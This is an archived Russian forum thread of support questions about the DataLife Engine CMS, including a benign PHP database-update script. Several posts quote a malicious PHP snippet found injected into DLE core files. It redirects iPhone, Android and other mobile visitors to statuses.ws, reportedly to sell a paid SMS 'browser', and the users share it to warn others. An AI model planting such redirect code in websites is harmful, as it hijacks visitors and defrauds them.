Ru-Board.club
← Вернуться в раздел «Системы управления сайтами»

» DataLife Engine (DLE)

Автор: szepp
Дата сообщения: 29.01.2012 15:38
ScAnMaG
Благодарствую! Сейчас рукава засучим...

Редактирую.
Засучили и опустили обратно. Ничего не вышло. Грузится прежняя схема - новая игнорируется в принципе. А чтобы ее запустить, нужно принудительно, несмотря на исправления в админпанели, набрать
Код: http://mysite.ru/index/index.html
Автор: szepp
Дата сообщения: 01.02.2012 15:49
Еще 2 вопроса.

1. Откуда генерируются метатеги? Куда, если необходимо добавить непрописанный, его добавлять?
2. Где описываются функции (или не знаю, как это правильно называть - программные теги?) - {short-story}, {author} и т. д. ? Где прописаны их стили?
Зачем?
Надо, например, подправить шрифт короткой новости или установить якорь на кнопку "Подробнее", чтобы полная новость открывалась не с верха страницы, а со своего начала. И так далее.
Автор: Trolzen
Дата сообщения: 07.02.2012 16:57
Про метатеги.
Если нужно поправить description или keywords, то их можно поправить в редактировании статьи в админке.
Если нужно добавить какой-то, который будет одинаковый на всех страницах, то правишь main.tpl (прямо под "{headers}").
Если метатег должен быть разный для разных разделов, то можно использовать встроенные "условные конструкции" вроде [aviable]...[/aviable]
Если нужно что-то совсем сложное (зависящее от содержимого страницы, например), то тут только ковырять сам движок или заказывать кому-нибудь.

Про теги. Если кратко, то они нигде не описываются. Там в движке генерируется html для этих тегов, а потом по файлу шаблона делают глобальную замену с помощью регулярок.

Шрифты править лучше в css-файле в папке шаблона. Якоря можно добавить в одном из шаблонов, т.к. это изменение разметки уже.
Автор: szepp
Дата сообщения: 07.02.2012 17:30
Ладно, с метатегами разобрался. Кстати, хоть это никому и неинтересно, обнаружил их в ENGINE.PHP и успешно дополнил теми, которыми хотел. Теперь другие вопросы.
Падежные окончания в облаке тегов: если у меня в тексте словоформы в родительном, творительном и пр. падежах, а в облаке тегов - в именительном, совпадения нет и прибавления числа повторений от обработки этого текста тоже нет. Как в таком случае быть? Как вообще люди поступают в таких случаях?
Автор: Trolzen
Дата сообщения: 07.02.2012 18:34
тут я вообще пас
Автор: szepp
Дата сообщения: 15.02.2012 20:01

Цитата:
тут я вообще пас

Мысль чрезвычайно интересная... есть над чем подумать. А заодно подумайте вот над чем.

Сайт на Денвере. В работе. Зарегистрирован 1 человек - я. В "РЕДАКТИРОВАНИИ ПОЛЬЗОВАТЕЛЕЙ" и значится - 1. А в статистике сайта ЧИСЛО ПОЛЬЗОВАТЕЛЕЙ - 3.

Мысли есть?
Автор: Trolzen
Дата сообщения: 17.02.2012 03:53

Цитата:
Цитата: тут я вообще пас

Мысль чрезвычайно интересная... есть над чем подумать. А заодно подумайте вот над чем.

Это как понимать? Я точно с человеком общаюсь, а не с марсианином?


Цитата:
А заодно подумайте вот над чем.

Это мне что же, делать нечего, только всякие глюки искать в чужих проектах забесплатно?

А мысль есть одна: в админке в списке пользователей по умолчанию показываются только админы и редакторы, простые пользователи не показываются.
Автор: PAHunter
Дата сообщения: 20.02.2012 10:08
Всем привет.
Возник такой вопрос.
Как убрать с отображения новостей (что с короткой, что с полной) отображение главной категории?
То есть, когда добавляем новость и задаем только подкатегорию, то новость отображается так: "главной категория»подкатегория" , а хочется чтобы просто указанные категории и подкатегории, чтобы он там не придумывал ничего и делал как надо
Автор: szepp
Дата сообщения: 20.02.2012 19:18
PAHunter
Может, я торможу, но, дважды перечитав, ничего не понял. Понятно, О ЧЕМ - непонятно, ЧТО. Поясните получше, в чем проблема.

Trolzen
Не кипятись! Да, скифы мы, да, марсиане мы. И деньги у нас другие - не те, что у вас - из красного такого камешка сделаны, арбузные семечки напоминают. Ты скажи, я отсыплю, если что. С "Маринером" передам.

Автор: PAHunter
Дата сообщения: 21.02.2012 00:59
szepp
Иерархия категория такова:
Главная категория
-Подкатегория

Так вот, если при добавлении новости задаем только подкатегорию, то она начинает отображаться с главной категорией: "Главная категория»Подкатегория"
Как убрать отображение главной категории в новости, если задать при добавлении новости только подкатегорию?
Автор: szepp
Дата сообщения: 21.02.2012 02:01
PAHunter
Так. Уточню, как понял: сама новость отображается нормально. А вот ее адрес Домен (сайт) / Категория / Подкатегория / Новость - Вас не устраивает. Вам нужно, чтобы при выводе новости отображался адрес Домен / Подкатегория / Новость. Правильно понимаю?

Если правильно, то скажу, что это невозможно. Подкатегория на то и придумана, чтобы отображаться внутри категории со всем своим содержимым в виде новостей. Потому она и "под" - подчиненная.

Могу посоветовать включить новость в категорию, а не в подкатегорию - это возможно. Домен (сайт) / Категория / Новость
Второй вариант - сделать новость в виде статической страницы, тогда адрес будет - Домен (сайт) / Новость.html
Автор: PAHunter
Дата сообщения: 21.02.2012 02:15
szepp
Спасибо за помощь.
Но после того как что-то поделал, а потом проспался, проблема вроде бы устранилась..

Странно, теперь есть одна новость где отображается главная категория и подкатегория, а остальные нормально.. пойду удалю ее чтоб не заразила остальных..

з.ы. Нет, все таки чудная штука сон..
Автор: kodex77
Дата сообщения: 08.07.2012 13:20
Подскажите пожалуйста как скрыть все ссылки (от ФО и аттачменты) от гостей в ранее добавленных новостях ? Прочитал что можно добавить [hide] но как и где именно нужно добавить ? Заранее спасибо. Версия движка DLE 9.5
Автор: L0T
Дата сообщения: 08.07.2012 14:07
kodex77
Без геморроя, наверное, никак.
Т.е. можно очень просто, насколько я понимаю, запретить скачивать с сервера: Настройка групп пользователей -> Гости -> Редактировать -> Общие настройки -> Разрешить скачивание файлов (Нет).

А вот закрыть все ссылки гостям в СТАРЫХ новостях...
Только 2мя способами, наверно:
1) Найти такой хак
2) Внести изменения в сами новости, т.е. заключить ссылки в тэг hide. Но руками (при большом количестве новостей) - трудновато, легче прогнать регэкспами.


P.S.

Цитата:
но как и где именно нужно добавить

Так:

Код: [hide]текст для скрытия[/hide]
Автор: kodex77
Дата сообщения: 08.07.2012 16:25
L0T, спасибо за ответ. Но по делу не подходит. Я встречал такое для старых версией, но на 9.5 не работает.

Еще как вариант может возможно вообще убрать эти ссылки ?
Автор: Trolzen
Дата сообщения: 08.07.2012 16:44
Короткий и полный текст статей находится в таблице post в полях short_story и full_story. Надо посмотреть, во что превращается [hide] после редактирования, и обернуть в это все <a href...> во всех строках таблицы.
Автор: L0T
Дата сообщения: 08.07.2012 19:48

Цитата:
Надо посмотреть, во что превращается [hide] после редактирования

Ни во что он не превращается, [hide] так и пишется в БД.

Цитата:
Я встречал такое для старых версией, но на 9.5 не работает

Возможно. В 9.2 такое есть, а про 9.5 не знаю.

Цитата:
Еще как вариант может возможно вообще убрать эти ссылки ?

Можно попробовать убрать, можно попробовать изменить на скрытые (hide). Или вручную, или см. п.2 из моего предыдущего ответа.

С ручным методом все понятно. Открываешь для редактирования новость, вносишь нужные изменения.

Автоматический метод я вижу в таком виде. Скрипт ищет по БД вставки вида [attachment=xx] и меняет их на [hide][attachment=xx][/hide]

Автор: kodex77
Дата сообщения: 10.07.2012 14:51
Trolzen, спасибо за ответ.
L0T, спасибо. Но Вы встречали такой скрипт ? Где то можно брать ?
Автор: L0T
Дата сообщения: 10.07.2012 20:41
kodex77
Нет? не всречал.

!!! Вполне возможно, есть хак, выполняющий нужные функии. Нужно искать на порталах по тематике DLE (например, 4dle.ru)



P.S. А скрипт такой написать можно в принципе попытаться...

Добавлено:
kodex77
Я не программер, так что могу написать коряво, но вот следующий код (довольно ресурсопрожорливый) сделает замену в БД (в новостях) всех вхождений [attachment=xx] на [hide][attachment=xx][/hide], где xx - одна или более цифр.

Лучше, конечно, сначала потестить на копии БД, а то мало ли...

Код:
<?php
    $db_host = 'localhost';
    $db_user = 'root'; // имя пользователя БД
    $db_pass = ''; // пароль пользователя к БД
    $db_name = ''; // имя БД
    $res = 'full_story';
    $idres = 'id';
    
    $repl_db_reg = '/(\[attachment=)(\d+)(\])/i';
    $repl_db_repl = '[hide]$0[/hide]';
    
    $sqlid = @mysql_connect($db_host, $db_user, $db_pass) or die (mysql_error());
    $sqldb = mysql_select_db($db_name);

// Кодировка БД, в данном случае - cp1251. Возможно, у Вас - utf8
    mysql_query("SET NAMES 'cp1251'");
    
    $field = mysql_query('SELECT '.$res.' FROM dle_post ORDER BY id ASC') or die (mysql_error());
    for ($data=array(); $row=mysql_fetch_assoc($field); $data[]=$row);
    
    $id = mysql_query('SELECT '.$idres.' FROM dle_post ORDER BY id ASC') or die (mysql_error());
    for ($iddata=array(); $idrow=mysql_fetch_assoc($id); $iddata[]=$idrow);
    
    for ($i=0; $i<sizeof($data); $i++) {
        $tmp = $data[$i][$res];
        $repl = preg_replace($repl_db_reg, $repl_db_repl, $tmp);
        if ($repl !== $tmp) {$tmp = $repl;}
        if ($tmp !== $data[$i][$res]) {
            mysql_query('UPDATE dle_post SET full_story="'.mysql_escape_string($tmp).'" WHERE id='.$iddata[$i][$idres]) or die (mysql_error());
        }
    }
    echo "DONE";
?>
Автор: kodex77
Дата сообщения: 11.07.2012 16:40
L0T, спасибо.
Автор: chexav
Дата сообщения: 19.07.2012 09:28
Здравствуйте. Мой сайт на DLE 9.5 сделан на базе стандартного двухполосного шаблона Default . Я хочу добавить третью колонку справа. Подскажите пожалуйста как это сделать , либо где по этому поводу можно почитать ( желательно подробно). Спасибо.
Автор: iyda
Дата сообщения: 27.09.2012 02:16
Уважаемые спецы, подскажите пожалуйста, кто понимает в этом.
Ситуация следующая, стоит DataLife Engine 9.7. Хочу добавить модуль последних комментариев. Перепробовал несколько вариантов, но все выдают ошибку обращения к базе.
В частности последний модуль iComm v.6.0 выдал

А на другом модуле

Очень хотелось бы иметь рабочий модуль для вывода последних комментариев, но почему то все имеющиеся не хотят работать на 9.7. С чем это может быть связано?
Может кто рабочим поделится.
Автор: bibirada
Дата сообщения: 29.09.2012 15:27
У меня траблы с картинками. На 9.7. Не уменьшает, а обрезает. То есть делает обрезанную под указанный размер кликабельной, при клике открывается полностью.
Я раньше большие фотки не использовал, а теперь как понадобилось, так и траблы.
Я, конечно, могу в css прописать max размер, чтобы это выглядело симпатично, но тогда они не увеличатся, что не гуд.
Где может быть причина?
Если непонятно обьяснил, то могу скринов накидать.
Автор: GrayZOR
Дата сообщения: 29.11.2012 17:23
bibirada
Видел я такое, не обязательно скриншоты делать.
Скажу, что изображения имеют не пропорциональный размер в соотношении ширина и размер.

iyda
На фрилэнсе Вам за пять баксов поправят модуль!

chexav
CSS+Html. Советую видео-курсы Евгения Попова.
Автор: Japonec657
Дата сообщения: 13.01.2013 17:03
Нынче с дле такая трабла
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
Автор: Trolzen
Дата сообщения: 22.01.2013 00:50
Это в какой версии?
Автор: Japonec657
Дата сообщения: 31.01.2013 03:21

Цитата:
Это в какой версии?

Во всех походу

Добавлено:
девятая линейка

Добавлено:

Сообщение с форума разработчика :
======================
Недавно зашел на сайт с мобилы, и был крайне удивлен. Мои почти все сайты предлагают скачать какой то браузер. По слухам он платный около 1000р за смс. Стал искать хвосты. Нашел. ХЗ может кому и поможет.

engine\data\config.php


$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}


engine\data\dbconfig.php в самом низу


$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}



engine\engine.php
строка 761


$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}



engine\init.php
строка 126


$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}



index.php
строка 274


$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
==================
Автор: Trolzen
Дата сообщения: 01.02.2013 05:01
Ты, похоже, левак какой-то скачал. Проверил версии 8.5, 9.0, 9.2, 9.3, 9.4, 9.5, строки "statuses" вообще нигде нет.
Автор: tuz1979
Дата сообщения: 11.02.2013 11:57
Подскажите пожалуйста как в DataLife Engine 9.7 добавить видео с сайта vk.com?
Автор: chexav
Дата сообщения: 21.02.2013 10:09
Здравствуйте. У меня сайт http://provsetut.ru/ . Мне необходима помощь вот по какому вопросу : не отображаются панель инструментов в форме добавления новостей через админ панель, ну и конечно нет инструментов при редактировании новости . Как то неожиданно пропала. Еще пару часов назад была, и пропала. Пропали все инструменты , остались только шрифт и размер. В форме добавления новостей с сайта все инструменты есть. Подскажите пожалуйста в чем дело, как исправить положение и как такое могло произойти. Спасибо. Сайт на DLE 9.5
Выглядит вот так :
http://i54.fastpic.ru/big/2013/0221/83/4841bf0fca0136e1773c2bf0b485e783.jpg в Мозиле
http://i51.fastpic.ru/big/2013/0221/37/7c369d12b7d15c3416178b408389e937.jpg в Опере
http://i51.fastpic.ru/big/2013/0221/b1/b2fd9b92f8f272a40a3b20437b6ab4b1.jpg в IE-9

Страницы: 1234567891011121314151617181920212223242526272829303132333435363738

Предыдущая тема: Существует проблема на домашней страничке.


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.